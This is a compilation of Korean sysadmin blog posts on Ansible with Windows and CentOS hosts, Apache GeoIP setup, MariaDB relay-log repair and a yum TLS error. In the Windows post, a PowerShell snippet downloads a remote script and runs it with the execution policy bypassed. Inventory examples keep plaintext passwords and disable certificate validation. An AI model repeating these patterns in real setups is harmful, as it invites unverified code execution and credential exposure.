to retry, use: --limit @/root/ansible/dhsa/winu.retry
PLAY RECAP *****************************************************************************************************************************
123.123.123.123 : ok=0 changed=0 unreachable=0 failed=1 skipped=0
윈도우 보안업데이트 하려고 하는데 위와같이 에러 발생
이럴경우에는 윈도우 서비스중 secondary logon 서비스가 사용안함으로 돼 있을경우 에러가 난다. 원래는 윈도우 보안업데이트 실행시 이게 종료돼있어도 자동으로 실행되야하는데 아에 사용안함으로 돼 있으니까 에러 난다.
secondary logon 이게 원래 디폴트는 사용안함이 아니다. 근데 보안상 취약한 서비스라 사용안함을 권고하고 있다.
대부분 서비스 사용중이라 이런 에러 자체가 없어서 찾느라 드럽게 힘들었다.
ansible git으로 받은 awx 설치시 에러 (1) | 2019.07.10 |
---|---|
windows host에서 ansible 실행하는법 (0) | 2019.05.23 |
ansible 공부한 모듈들 정리 (0) | 2019.05.02 |
ansible - 디렉토리 구조 (0) | 2019.05.02 |
ansible- error (0) | 2019.04.26 |
리눅스 서버는 ssh를 통해서 ansible이 통신하는데 윈도우 서버는 winrm 이라는 윈도우 리모트 매니져를 통한다.
winrm 은 윈2012 는 기본적으로 실행이 돼 있다. 5985 포트로 올라와있음
근데 ansible은 기본적으로 winrm의 ssl 5986 포트를 통해서 통신을 해야 한다.(5985로도 할 수는 있는데 보안 뭐 실행안되고 뭐 그런게 있는듯)
[root@master ~]# ansible -i /etc/ansible/hosts win -m win_ping
123.123.123.123 | UNREACHABLE! => {
"changed": false,
"msg": "ssl: HTTPSConnectionPool(host='123.123.123.123', port=5986): Max retries exceeded with url: /wsman (Caused by ConnectTimeoutError(, 'Connection to 123.123.123.123 timed out. (connect timeout=30)'))",
"unreachable": true
}
위와같이 에러가 나는 이유는 windows hosts 서버에 winrm 5986 포트 리슨이 안돼있어서(즉 winrm ssl 실행이 안돼있어서) 이다.
그전에 winrm no module 없다고 뜨면
pip pywinrm 으로 pywinrm 설치해줘야 한다.
windows 2012 의 경우 파워쉘 실행후
$url = "https://raw.githubusercontent.com/ansible/ansible/devel/examples/scripts/ConfigureRemotingForAnsible.ps1"
$file = "$env:temp\ConfigureRemotingForAnsible.ps1"
(New-Object -TypeName System.Net.WebClient).DownloadFile($url, $file)
powershell.exe -ExecutionPolicy ByPass -File $file
위와 같이 실행
위 구문을 실행하면 된다.
[root@master ~]# ansible -i /etc/ansible/hosts win -m win_ping
123.123.123.123 | SUCCESS => {
"changed": false,
"ping": "pong"
}
잘된다.
hosts 파일 내용은
[win]
123.123.123.123
[win:vars]
ansible_password='123123123'
ansible_connection=winrm
ansible_winrm_server_cert_validation=ignore
ansible_user=administrator
ansible_port=5986
ansible git으로 받은 awx 설치시 에러 (1) | 2019.07.10 |
---|---|
ansible - windows Win32ErrorCode 1058 (0) | 2019.05.23 |
ansible 공부한 모듈들 정리 (0) | 2019.05.02 |
ansible - 디렉토리 구조 (0) | 2019.05.02 |
ansible- error (0) | 2019.04.26 |
maxminddb 라는걸로 올릴 수 있는데 그거 하려면 뭐 gcc 랑 c++ 버전 이런게 centos 5버전에는 안맞는 버전들이다.
어쨋든 centos5 버전은 아래와 같이 하면 된다.
https://dev.maxmind.com/geoip/legacy/mod_geoip2/ 참고
GeoIP Legacy Apache Module « MaxMind Developer Site
GeoIP Legacy Apache Module New Apache Module Available: This module is for the GeoIP Legacy format (dat). To read the MaxMind DB format (mmdb) used by GeoIP2, please see mod_maxminddb Description The mod_geoip2 module embeds GeoIP Legacy database lookups i
dev.maxmind.com
설치순서는 대략적으로
1.geoip를 서버에 설치하고
2.geoip의 데이터를 넣어주고
3.설치된 geoip를 가지고 아파치용 geoip 모듈을 설치한다.
1.geoip-api-c-master.zip 다운로드 & 설치
ㄴhttps://github.com/maxmind/geoip-api-c
1-1. 파일 다운로드
1-2. 압축풀고 들어가서 ./bootstrap
ㄴ여기서
~/src/apache_sadong/geoip-api-c-master]# /usr/local/bin/autoreconf -fiv
autoreconf: Entering directory `.'
autoreconf: configure.ac: not using Gettext
autoreconf: running: aclocal --force -I m4
autoreconf: configure.ac: tracing
autoreconf: configure.ac: not using Libtool
autoreconf: running: /usr/local/bin/autoconf --force
configure.ac:14: error: possibly undefined macro: AC_PROG_LIBTOOL
If this token and others are legitimate, please use m4_pattern_allow.
See the Autoconf documentation.
autoreconf: /usr/local/bin/autoconf failed with exit status: 1
위와같이 libtool 관련 에러 발생하면 libtool 이거 받아서 압축풀고 ./configure make make install 해서 설치
1-3./configure --prefix=/usr/local/geoip ;make ;make install
2.geoip 컨츄리 파일 받고 넣기
ㄴhttps://dev.maxmind.com/geoip/geoip2/geolite2/
ㄴ용량이 커서 업로드가 안됨, GeoLite2-City-CSV_날짜 파일 받으면됩니다.
2-1.일전에 geoip iptalbles 에 올리는걸로 컨버팅하는 스크립트 했었는데 이번 스크립트는 또 다른거다.
이번 버전은 파이썬 2.7버전에서 실행되는 스크립트다.(2.7 미만의 버전은 해당 스크립트 에러남)
# git clone https://github.com/sherpya/geolite2legacy
# cd geolite2legacy
# curl -O https://geolite.maxmind.com/download/geoip/database/GeoLite2-Country-CSV.zip
# ./geolite2legacy.py -i GeoLite2-Country-CSV.zip -f geoname2fips.csv -o GeoIP.dat
ㄴ이거 할 때 ipaddr 모듈 없다하면 pip install ipaddr 명령어로 설치해야한다.
깔끔하게 GEOIP.dat 파일이 생겼다.
geoip.dat 파일은 여기다가 한달에 한번정도 주기적으로 업로드를 해야겠다.
2-2.geoip.dat 파일을 /usr/local/GeoIP/share/GeoIP 여따가 넣어준다.
3.geoip-api-mod_geoip2-1.2.10.tar.gz 다운로드
3-1. 파일 다운로드 받고 압축풀고 해당 디렉토리로 들어가면 mod_geoip.c 가 있다. 해당 경로에서
[root@localhost ~/src/apache_sadong/geoip-api-mod_geoip2-1.2.10]# /home/apache/bin/apxs -i -a -L /usr/local/GeoIP/lib -I /usr/local/GeoIP/include -l GeoIP -c ./mod_geoip.c
이렇게 하면 아파치에 geoip 모듈 탑재 완료.
3-2. 이제 다 됐으면 특정 국가만 허용예시
GeoIPDBFile 이부분은 geoip db 파일을 뭘로 할꺼냐고 그 뒤에 flag 는 Standard 만 있는게 아니다.
MemoryCache / Standard / CheckCache / IndexCache 요렇게 4개가 있다.
메뉴얼에는 전부 MemoryCache 로 돼 있으니까 나도 MemoryCache 로
각 플래그에 대한 설명은 https://dev.maxmind.com/geoip/legacy/mod_geoip2/ 참고
특정 국가에만 접근 허용
<Directory /home>
Options FollowSymLinks MultiViews
AllowOverride FileInfo
Order deny,allow
SetEnvIf GEOIP_COUNTRY_CODE KR AllowCountry
Deny from all
Allow from env=AllowCountry
</Directory>
ps.
아파치 어쎄스 로그에 국가코드 남기고 싶으면 로그 포멧을 아래로 하면됨
LogFormat “%V [%h] %u %t %D \”%r\” %>s %b \”%{Referer}i\” \”%{User-Agent}i\” GeoIP_Address=\”%{GEOIP_ADDR}e\” Country_Code=\”%{GEOIP_COUNTRY_CODE}e\” Country_Name=\”{GEOIP_COUNTRY_NAME}e\”” vcommon
Additionally, a 400 Bad Request error was encountered while trying to use an ErrorDocument to handle the request. (1) | 2020.03.30 |
---|---|
아파치 특정 디렉토리 아이피 접근제어 (0) | 2018.09.03 |
apache 오래된 버전 이전 (0) | 2018.09.03 |
아파치 모듈 설명 (0) | 2018.09.03 |
apache module forensic log 설정 (0) | 2018.08.31 |
mysql 리플리케이션 운영중 슬레이브 서버에 문제가 발생
mysql 리플리케이션 구동방식이
데이터 업데이트 > master에서 업데이트된 쿼리를 bin로그에 기록 > slave의 io쓰레드에서 bin log를 토대로 relay 로그를 작성 > sql쓰레드에서 relay 로그를 토대로 slave의 DB 업데이트 > relay 로그 쓸모가 없어지면(master의 bin log가 삭제되면) relay 퍼지 옵션 디폴트가 on이기 때문에 자동으로 삭제됨
근데... slave서버에서 상태를 보면
Relay_Log_File: localhost-relay-bin.999999
위와같이 릴레이 로그-999999 를 보고 있따.
[root@localhost data]# ls -lat localhost-relay-bin.11* | more
-rw-rw---- 1 mysql mysql 2891938 May 3 09:35 localhost-relay-bin.1157093
실제로는 위 파일을 바라봐야 한다.
order by limit 1 주고 계속 확인해보면 다행히도 실시간으로 동기화는 잘 되고 있다..
select count(*) from table 같은걸로 레코드 수 새보면 좋겠찌만... 실서비스중인데 부하 생길포인트 만드는건 쫌 아닌것같다.
여튼 상황 정리하면 아래와 같다.
1.디비 동기화는 잘 되고 있음
2.마스터 서버의 bin 로그는 잘 삭제되고 있음
3.슬레이브 서버의 relay bin 로그를 999999를 바라보고 있음
ㄴ실제로는 1157093 을 봐야함
4.relay 로그 삭제가 안되고 있음
5.error log는 없음
inc_group_relay_log_pos() 이 함수에 문제가 있다고 한다.
strcmp() 라는 함수를 통해 전/후 두개의 relay log를 비교하는데 이때 둘다 6자리까지는 정상적으로 비교가 되는데 6자리에서 7자리로 바뀔 때 즉, 999999 => 1000000 이때 문제가 있다고 한다.
추가로 handle_queued_pos_update() 라는 함수에서도 7자리로 변경될 때 parallel replication 이슈가 발생할 수 있다고 한다.
https://jira.mariadb.org/browse/MDEV-8134
패치는 뭐... 재컴파일하기엔 좀 무리가 있으니... 일단 relaylog 전부 reset으로 날리고 다시 맞춰준다음 relay log 용량을 10M(디폴트)에서 512M로 바꿔야겠다. 그럼 그렇게 많이 차진 않겠찌...
그래도 많이 차면 패치하고 재컴파일 해야할듯
----조치 한 사항---
1.우선 데이터 백업 한번 해주고
2.새벽에(접속자 최대한 없을 때)웹페이지 공지 띄우고 디비서버로의 접근 차단(마스터 서버 업데이트 없도록)
ㄴiptables 에서 마스터-슬레이브만 3306 포트 통신하도록 변경하고 나머지는 전체 차단, 웹에서도 차단
ㄴ마스터서버 binlog 파일 넘버랑 로그 포지션 안바뀌는거 확인
3.stop slave
4.reset slave
ㄴreset slave 하니까 삭제되지 않던 relay log 파일도 전부 삭제됨
5.start slave
6.CHANGE MASTER TO MASTER_LOG_FILE='<master-bin.number>', MASTER_LOG_POS=;
7.위와같이 작업하고 bin 로그파일 넘버랑 로그 포지션 넘버 동일한지 확인
위와같이 슬레이브 서버들 전부 진행하니까 잘 해결됐다.
추가로 10MB씩 쌓이던 relay 로그 파일 512MB로 변경함
mysql 리플리케이션 마스터 - 슬레이브간 지연 (0) | 2019.08.05 |
---|---|
mysql log file size error (0) | 2019.06.26 |
innodb mysql/mariadb insert 속도 높이기 (0) | 2019.04.12 |
mysql 대용량 DB 백업 구성 (0) | 2019.04.09 |
mysql dead lock 확인하기 (0) | 2019.01.24 |
gather_facts // 우선 엔서블에서의 facts 란 클라이언트 서버 정보(OS버전같은거)다. gather는 모으다. 즉 클라이언트 서버의 정보들(os 버전이나 이런것들)을 가져올꺼냐 안가져올꺼냐.. 정보가 필요하면 당연히 가져와야하고 필요없는 작업이면 안가져와도 된다. 속도차이가 있음
delegate_to // 인벤토리에 없는 호스트를 작업할 때 사용, 127.0.0.1(로컬)이 들어가있음 로컬 서버에 있는 쉘을 실행한다거나 그럴때 쓰임
run_once // 위에 delegate_to 와 같이 자주 사용된다. delegate_to와 자주 사용되는이유는 실제 실행되는 서버에서 변수 한번 뽑으면 되는거니까
- name: test_delegate
delegate_to: 127.0.0.1
run_once: true
command: /root/bin/tast_string
register: test_exe
when // if문같은거 옵션이 여러가지 많음
shell // 쉘 실행
ignore_errors // 에러나도 다음작업을 진행(ex. 백업해야할 때 mv로 파일을 옮겨야하는데 서버에 파일이 없으면 에러남, 이경우 백업할께 없으면 에러나도 상관없는거니까 mv로 진행)
- name: centos 5 version mv test1sh cmd_test1.sh_date
shell: mv /root/test1.sh /root/test1.sh_{{ansible_date_time.date}}
when: ansible_distribution == "CentOS" and ansible_distribution_major_version == '5'
ignore_errors: True
set_fact // 변수 설정하는거임
- name: cur_time_var
delegate_to: 127.0.0.1
run_once: true
set_fact: date_time="{{lookup('pipe','date \"+%Y%m%d\"')}}"
local_action // 로컬 서버에서 작업을 실행하겠다. delegate_to=127.0.0.1 이랑 같은건데 딜리게이트를 더 권장한다. 왜냐하면 로컬액션으로 처리가 안되는 것들이 많음
- name: cat ip
local_action: shell cat /root/ip
register: sip
register // task 실행 결과를 저장하고자 할 때에는 register 지시어를 사용하면 됨.
- name: IP check.
shell: ip addr show eth0 | grep inet | grep -v inet6 | awk '{print $2}' | cut -d/ -f1
register: real_ip
copy // 말그대로 복사
lineinfile // 이 모듈은 echo "문구" >> 파일.txt 와 같이 파일에 내용을 추가하는 모듈인데...ansible -m lineinfile "path=test.txt line=test11" 이런식으로 애드혹를 입력할경우 test.txt 하단에 test11이라는 구문이 추가된다. 근데 사람이 실수로 ansible -m lineinfile "path=test.txt line=test11" 이런 명령어를 두번 넣었을경우 lineinfile은 멱등성을 지원하기 때문에 해당 파일에 test11 이 두줄 추가 되지 않고 한줄만 추가된다.
- name: password to /root/test
lineinfile: dest=/root/test mode=0600 create=yes line="{{test.stdout}}"
with_items // 반복처리할때 사용함, slave_ip.stdout_lines 리스트들
replace // 말그대로 단어교체 파일안의 내용들만 되는듯(mv 이름 이름.old 처럼 파일도 가능하진 않음)
debug // 말그대로 디버그, 이거는 status를 보기위한 용도로 한듯
ansible - windows Win32ErrorCode 1058 (0) | 2019.05.23 |
---|---|
windows host에서 ansible 실행하는법 (0) | 2019.05.23 |
ansible - 디렉토리 구조 (0) | 2019.05.02 |
ansible- error (0) | 2019.04.26 |
ansible-3 playbook (0) | 2019.04.25 |
데몬의 실행여부를 체크하는 플레이북 짤건데 디렉토리 구조는 아래와 같다
데몬실행여부 체크 플레이북이니까 디렉토리명은 daemon_check로 주고
[root@localhost daemon_check]# pwd
/root/ansible/test/daemon_check
ll[root@q352-3552 daemon_check]# ll
total 4
drwxr-xr-x. 2 root root 66 May 2 13:38 group_vars ##hosts에 지정되는 그룹들의 변수를 지정하는 디렉토리
-rw-r--r--. 1 root root 0 May 2 10:37 hosts ###/etc/ansible/hosts와 동일한 기능이다.
drwxr-xr-x. 6 root root 82 May 2 13:32 roles ### site.yml 에 들어가는 roles
-rw-r--r--. 1 root root 90 May 2 10:48 site.yml
먼저 group_vars는 예를들어 엔서블을 사용하려면 클라이언트에 파이썬 2.6버전이상이 설치 돼 있어야 하는데 클라이언트 centos5버전이라면 기본적으로 파이썬 2.4가 설치돼있다. 따라서 파이썬 2.6을 따로 설치해주고 인터럽트를 직접 지정해줘야 하는데
이런식으로 centos5 서버들154,155,156,157,158에 하나하나 인터럽터를 지정해줘야 한다. 근데 group_vars에 centos5 라는 파일 만들고 그 안에 ansible_python_interpreter=/usr/bin/python2.6 를 적어주거나 하면 된다.
hosts 파일에
[centos5:vars]
ansible_python_interpreter=/usr/bin/python2.6
이런식으로 직접 지정해줘도 된다.
그다음 hosts는 클라이언트 서버 리스트고... 그룹으로 지정할 수 있고 위에 사진처럼
roles랑 site.yml 이 중요하다.
먼저 site.yml 의 내용을 보면
crond_check 는 모든 서버가 다 실행돼야하니까 hosts 대상은 all , roles는 crond_check
마찬가지로 httpd는 방화벽도 체크해야하니까 iptables_open롤도 추가, mysql 은 mysql_check 롤만 들어간다.
우리가 실행하는건 site.yml 이다. ansible-playbook site.yml 명령어로 실행해주면
roles:
- crond_check
여기에 적어준 roles들이 차례대로 실행되는데 적어준 roles 이름과 디렉토리 이름은 꼭 같아야 한다.
[root@q352-3552 roles]# ll
total 0
drwxr-xr-x. 5 root root 52 May 2 12:57 crond_check
drwxr-xr-x. 5 root root 52 May 2 12:57 httpd_check
drwxr-xr-x. 5 root root 52 May 2 12:57 iptables_open
drwxr-xr-x. 5 root root 52 May 2 12:57 mysql_check
drwxr-xr-x. 5 root root 52 May 2 12:57 nginx_check
roles 디렉토리 안에 crond_check 들어가보면
[root@q352-3552 crond_check]# ll
total 0
drwxr-xr-x. 2 root root 6 May 2 15:37 defaults
drwxr-xr-x. 2 root root 6 May 2 15:37 files
drwxr-xr-x. 2 root root 22 May 2 13:01 handlers
drwxr-xr-x. 2 root root 22 May 2 13:12 tasks
drwxr-xr-x. 2 root root 21 May 2 13:23 templates
내용은 위와같은데 tasks안에 있는 main.yml(실행되는 roles들의 야믈 파일은 무조건 파일명이 main.yml 이어야 함) 파일이 가장 먼저 실행하는데 main.yml 이 실행시 templates 모듈을 사용할 때 필요한 파일은 templates 안에 있어야 하고 마찬가지로 files 모듈을 사용할 때의 파일은 files 안에 있어야 한다. defaults는 변수설정(vars보다 순쉬 높음) meta같은것도 있다는데 잘 모르겠음.. 하여튼 모든 작업이 완료되면 마지막으로 handlers가 진행된다.(이거는 보통 시작,재시작만 들어감)
ㄴ왜 시작,재시작만 들어가느냐? 모르겠음.... 대충 생각해본다면... handlers는 무조건 tasks다음 즉 마지막에 실행이 되니까 예를들어 뭐... httpd.conf 수정후 마지막에 해야할 작업이 서비스 재시작밖에 더 있을까 ?싶다.
여튼 정리하자면..
site.yml 실행 > 그안에 있는 role들이 차례대로 실행 > ./roles 디렉토리에 roles와 동일한 이름 디렉토리가 있음 > 디렉토리 안에 ./tasks/main.yml 을 실행 > 실행되면서 탬플릿,파일들의 모듈 사용시 templates, files 디렉토리가 있고 그안에 파일을 사용 > 마지막에 ./handlers/main.yml 실행
windows host에서 ansible 실행하는법 (0) | 2019.05.23 |
---|---|
ansible 공부한 모듈들 정리 (0) | 2019.05.02 |
ansible- error (0) | 2019.04.26 |
ansible-3 playbook (0) | 2019.04.25 |
ansible-2 hosts(그룹), 멱등성 (0) | 2019.04.22 |
엘라스틱서치랑 rdb 비교
[Elasticsearch] RDB VS Elasticsearch
일단 기존에 RDB와 비교해서 차이점이나 개념 등을 잡으면 더 효율적인 면이 있을 것으로 보여진다.기존...
blog.naver.com
https://hsp1116.tistory.com/62
엘라스틱서치 정리
Elasticsearch Elasticsearch와 RDBMS의 데이터구조 비교 Elasticsearch RDBMS 인덱스 데이터베이스 타입 테이블 도큐먼트 로우 필드 컬럼 매핑 스키마 클러스터 엘라스틱서치의 가장 큰 시스템 단위. 하나의 클러..
hsp1116.tistory.com
예제
[ELK] 엘라스틱서치(ElasticSearch) 시작하기
ELK스택 ElasticSearch를 실습하기 전에 ELK스택에 대해 알아보겠습니다. 데이터과학은 깊고 넓은 분야입니다. 분야가 다양하기때문에 데이터과학은 각 분야의 팀워크가 생명입니다. 아래는 데이터 과학을 구성하..
12bme.tistory.com
yum.repos.d]# yum list | grep python
Traceback (most recent call last):
File "/usr/bin/yum", line 29, in ?
yummain.user_main(sys.argv[1:], exit_code=True)
File "/usr/share/yum-cli/yummain.py", line 309, in user_main
errcode = main(args)
File "/usr/share/yum-cli/yummain.py", line 178, in main
result, resultmsgs = base.doCommands()
File "/usr/share/yum-cli/cli.py", line 345, in doCommands
self._getTs(needTsRemove)
File "/usr/lib/python2.4/site-packages/yum/depsolve.py", line 101, in _getTs
self._getTsInfo(remove_only)
File "/usr/lib/python2.4/site-packages/yum/depsolve.py", line 112, in _getTsInfo
pkgSack = self.pkgSack
File "/usr/lib/python2.4/site-packages/yum/__init__.py", line 662, in
pkgSack = property(fget=lambda self: self._getSacks(),
File "/usr/lib/python2.4/site-packages/yum/__init__.py", line 502, in _getSacks
self.repos.populateSack(which=repos)
File "/usr/lib/python2.4/site-packages/yum/repos.py", line 260, in populateSack
sack.populate(repo, mdtype, callback, cacheonly)
File "/usr/lib/python2.4/site-packages/yum/yumRepo.py", line 168, in populate
if self._check_db_version(repo, mydbtype):
File "/usr/lib/python2.4/site-packages/yum/yumRepo.py", line 226, in _check_db_version
return repo._check_db_version(mdtype)
File "/usr/lib/python2.4/site-packages/yum/yumRepo.py", line 1226, in _check_db_version
repoXML = self.repoXML
File "/usr/lib/python2.4/site-packages/yum/yumRepo.py", line 1399, in
repoXML = property(fget=lambda self: self._getRepoXML(),
File "/usr/lib/python2.4/site-packages/yum/yumRepo.py", line 1391, in _getRepoXML
self._loadRepoXML(text=self)
File "/usr/lib/python2.4/site-packages/yum/yumRepo.py", line 1381, in _loadRepoXML
return self._groupLoadRepoXML(text, ["primary"])
File "/usr/lib/python2.4/site-packages/yum/yumRepo.py", line 1365, in _groupLoadRepoXML
if self._commonLoadRepoXML(text):
File "/usr/lib/python2.4/site-packages/yum/yumRepo.py", line 1201, in _commonLoadRepoXML
result = self._getFileRepoXML(local, text)
File "/usr/lib/python2.4/site-packages/yum/yumRepo.py", line 974, in _getFileRepoXML
cache=self.http_caching == 'all')
File "/usr/lib/python2.4/site-packages/yum/yumRepo.py", line 811, in _getFile
http_headers=headers,
File "/usr/lib/python2.4/site-packages/urlgrabber/mirror.py", line 412, in urlgrab
return self._mirror_try(func, url, kw)
File "/usr/lib/python2.4/site-packages/urlgrabber/mirror.py", line 398, in _mirror_try
return func_ref( *(fullurl,), **kwargs )
File "/usr/lib/python2.4/site-packages/urlgrabber/grabber.py", line 936, in urlgrab
return self._retry(opts, retryfunc, url, filename)
File "/usr/lib/python2.4/site-packages/urlgrabber/grabber.py", line 854, in _retry
r = apply(func, (opts,) + args, {})
File "/usr/lib/python2.4/site-packages/urlgrabber/grabber.py", line 922, in retryfunc
fo = URLGrabberFileObject(url, filename, opts)
File "/usr/lib/python2.4/site-packages/urlgrabber/grabber.py", line 1010, in __init__
self._do_open()
File "/usr/lib/python2.4/site-packages/urlgrabber/grabber.py", line 1093, in _do_open
fo, hdr = self._make_request(req, opener)
File "/usr/lib/python2.4/site-packages/urlgrabber/grabber.py", line 1202, in _make_request
fo = opener.open(req)
File "/usr/lib64/python2.4/urllib2.py", line 358, in open
response = self._open(req, data)
File "/usr/lib64/python2.4/urllib2.py", line 376, in _open
'_open', req)
File "/usr/lib64/python2.4/urllib2.py", line 337, in _call_chain
result = func(*args)
File "/usr/lib64/python2.4/site-packages/M2Crypto/m2urllib2.py", line 82, in https_open
h.request(req.get_method(), req.get_selector(), req.data, headers)
File "/usr/lib64/python2.4/httplib.py", line 810, in request
self._send_request(method, url, body, headers)
File "/usr/lib64/python2.4/httplib.py", line 833, in _send_request
self.endheaders()
File "/usr/lib64/python2.4/httplib.py", line 804, in endheaders
self._send_output()
File "/usr/lib64/python2.4/httplib.py", line 685, in _send_output
self.send(msg)
File "/usr/lib64/python2.4/httplib.py", line 652, in send
self.connect()
File "/usr/lib64/python2.4/site-packages/M2Crypto/httpslib.py", line 55, in connect
sock.connect((self.host, self.port))
File "/usr/lib64/python2.4/site-packages/M2Crypto/SSL/Connection.py", line 174, in connect
ret = self.connect_ssl()
File "/usr/lib64/python2.4/site-packages/M2Crypto/SSL/Connection.py", line 167, in connect_ssl
return m2.ssl_connect(self.ssl, self._timeout)
M2Crypto.SSL.SSLError: tlsv1 alert protocol version
repo 등록돼있는 URL중 지원하지않는 centos5의 ssl 버전때문이다.
설치해야하는 레포때문에 문제가 나는거라면 ssl 새로 설치해서 yum을 새로 설치한 ssl을 참조하도록 하거나(당연히 yum을 컴파일 설치해야함)
설치에 필요하지 않는 레포때문에 문제가 나는거라면 그냥 그 레포 삭제해버리면 된다.
ㄴ나는 dell 레포때문에 문제가 났었는데 dell 레포 필요하지 않아서 삭제해버림
sysdig 로 해킹당한 서버 분석해보기 (0) | 2019.06.20 |
---|---|
서버 점검.. (0) | 2019.06.11 |
nodejs npm , socket.io 설치 (0) | 2019.04.10 |
ionice (1) | 2019.04.09 |
strace debug (0) | 2019.02.21 |
scrtipt_dist]# ansible-playbook dist.yml
PLAY [all] ******************************************************************************************************************************************************************
TASK [Gathering Facts] ******************************************************************************************************************************************************
fatal: [서버 아이피 ]: FAILED! => {"changed": false, "module_stderr": "Shared connection to 서버 아이피closed.\r\n", "module_stdout": " File \"/root/.ansible/tmp/ansible-tmp-1556259206.06-242213350336107/AnsiballZ_setup.py\", line 39\r\n with open(module, 'wb') as f:\r\n ^\r\nSyntaxError: invalid syntax\r\n", "msg": "MODULE FAILURE\nSee stdout/stderr for the exact error", "rc": 1}
to retry, use: --limit @/root/ansible/scrtipt_dist/dist.retry
PLAY RECAP ******************************************************************************************************************************************************************
1.234.83.50 : ok=0 changed=0 unreachable=0 failed=1 skipped=0
위와같은 에러가 발생
원인은 파이썬 버전이 낮아서 그렇다고 한다.
엔서블 2.4 버전부터는 파이썬 2.4/2.5 버전에 대한 지원을 하지 않는다고 한다. 따라서 파이썬 2.6버전 이상으로 올려야 된다.
위의 내용까지가 구글링하면 깃헙이나 스택오버플로우에 나왔던 내용이다... 한글문서로도 있었고...
근데 클라이언트의 파이썬 버전까지 맞춰야하는줄은 몰랐다.
엔써블 처음 접할 때 클라이언트는 ssh 접속만 되면 된다했건만... 여튼...
클라이언트(cent5버전)에 yum 으로 파이썬 2.6 설치(기존 파이썬은 냅두고...)후
엔써블 옵션을 ansible_python_interpreter=/usr/bin/python2.6 추가하였더니 잘 된다.
ansible 공부한 모듈들 정리 (0) | 2019.05.02 |
---|---|
ansible - 디렉토리 구조 (0) | 2019.05.02 |
ansible-3 playbook (0) | 2019.04.25 |
ansible-2 hosts(그룹), 멱등성 (0) | 2019.04.22 |
ansible-1 (0) | 2019.04.10 |
playbook 이란
각본이라고 나오는데 작업계획서 ??같은거다.
예를들어 서버에 apache를 설치할 때
1.아파치를 다운로드 받고
2.압축풀고
3.소스설치하고 등등
작업들을 나열한 파일(이름.yml)을 플레이북이라 하고 playbook에 입력돼있는 모듈, 작업들을 순차적으로 진행한다.
yaml로 짜여져있어서 첫줄에는 --- 을 적어야한다.
그리고 -name: 작업이름을 적어준다. 여기서 : 이거 뒤에 스페이스로 한칸 뛰어야한다. 야믈 문법은 계속 공부하면서 읶혀야할듯
##name은 필수가 아니다. 다만 무조건 적는 습관을 들이자. playbook 실행시 어느 구간이 작업되고 있는지 확인할 수 있고 다른사람이 볼때도 쉽게 알아야 하니까.
아래는 /root/test.txt 라는 파일을 /root/test.txt_ori로 옮기고(만약 /root/test.txt가 없을경우는 무시)
/root/ansible/template/test.j2를 /root/test.txt로 업로드하는 플레이북이다.
--- ## 첫줄은 무조건 --- 적어줘야한다. yml 명시
- hosts: all ## 작업 대상은 /etc/ansible/hosts에 적혀있는 모든 서버들, : 땡땡 뒤에는 므조건 스페이스로 한칸 띄어줘야 한다.
remote_user: root ##맨앞에는 스페이스로 두칸 띄어주고
tasks: ##마찬가지로 여기도 맨앞에는 스페이스로 두칸 띄어주고
- name: centos 5 version mv test.txt test.txt_ori
shell: bash -c 'mv /root/test.txt /root/test.txt_ori' ###이번에는 4칸. 들여쓰기 해줘야됨. / root/test.txt 라는 파일을 /root/test.txt_ori로 옮긴다.
when: ansible_distribution == "CentOS" and ansible_distribution_major_version == '6' ###서버 os가 centos 6버전일때만
ignore_errors: True ###/root/test.txt 가 서버에 없으면 에러발생하고 그다음작업 진행을 안한다. ignore_errors:True 해야지 /root/test.txt 가 없어도 무시하고 다음작업을 진행한다.
- name: centos 5 version new test.txt upload | Template test.txt
template: src="/root/ansible/template/test.j2" dest="/root/test.txt" force=yes owner=root group=root mode="0644" ##test.txt 새로 업로드
ansible - 디렉토리 구조 (0) | 2019.05.02 |
---|---|
ansible- error (0) | 2019.04.26 |
ansible-2 hosts(그룹), 멱등성 (0) | 2019.04.22 |
ansible-1 (0) | 2019.04.10 |
ansible 공부 (0) | 2018.10.10 |
그룹관리
/etc/ansible/group_vars 하위에다가 그룹-그룹 그룹-변수 지정도 가능하다.
ansible]# cat /etc/ansible/hosts
[nginx]
1.1.1.1 ansible_user=root ansible_ssh_pass='qlqjs'
[apache]
2.2.2.2 ansible_user=root ansible_ssh_pass='qlqjs'
파일 내용은 위와같고
ansible]# ansible all -m shell -a "df -h" --list-hosts
hosts (2):
1.1.1.1
2.2.2.2
ansible]# ansible nginx -m shell -a "df -h"
1.1.1.1 | CHANGED | rc=0 >>
Filesystem Size Used Avail Use% Mounted on
/dev/sda3 235G 37G 187G 17% /
tmpfs 3.9G 0 3.9G 0% /dev/shm
/dev/sda1 200M 120M 70M 64% /boot
ansible]# ansible all -m shell -a "df -h"
2.2.2.2 | FAILED | rc=-1 >>
Using a SSH password instead of a key is not possible because Host Key checking is enabled and sshpass does not support this. Please add this host's fingerprint to your known_hosts file to manage this host.
1.1.1.1 | CHANGED | rc=0 >>
Filesystem Size Used Avail Use% Mounted on
/dev/sda3 235G 37G 187G 17% /
tmpfs 3.9G 0 3.9G 0% /dev/shm
/dev/sda1 200M 120M 70M 64% /boot
##
-m 옵션은 어떤 모듈을 선택할지..
yum, service, shell등 많다. -m 옵션의 기본값은 shell 이다. 다만 남들이 좀 더 보기 편하게 shell도 써주기
다만 위 명령들은 ansible 단일명령? 뭐 그런느낌이다. 에드혹이라고 하는듯. 대부분 플레이북을 이용해 사용한다.
-------여기까지가 가장 기본적인 ansible 사용법------------
----멱등성-----
엔서블하면 멱등성이 꼭 나온다.
멱등성이란 연산을 여러번 적용해도 결과가 달라지지 않는 성질인데 엔서블이 멱등성을 지원한다.
난 이부분이 처음에 굉장히 헷갈렸다. 도대체 어떻게 무조건 값이 같을 수 있지 ??근데 최대한 멱등성을 지원하려고 노력한다는거지(대부분의 모듈들이) 멱등성을 지원하지 않을수도 있다.
여튼.. 멱등성이 뭔지 예를들자면 lineinfile 이란 모듈이 있다. 이 모듈은 echo "문구" >> 파일.txt 와 같이 파일에 내용을 추가하는 모듈인데...ansible -m lineinfile "path=test.txt line=test11" 이런식으로 애드혹를 입력할경우 test.txt 하단에 test11이라는 구문이 추가된다. 근데 사람이 실수로 ansible -m lineinfile "path=test.txt line=test11" 이런 명령어를 두번 넣었을경우 lineinfile은 멱등성을 지원하기 때문에 해당 파일에 test11 이 두줄 추가 되지 않고 한줄만 추가된다.
반대로 shell 이라는 모듈을 통해 입력을 하면 당연히 test11이 두줄 추가 돼겠지. 이경우는 멱등성이 지원되지 않은거다.
ansible - 디렉토리 구조 (0) | 2019.05.02 |
---|---|
ansible- error (0) | 2019.04.26 |
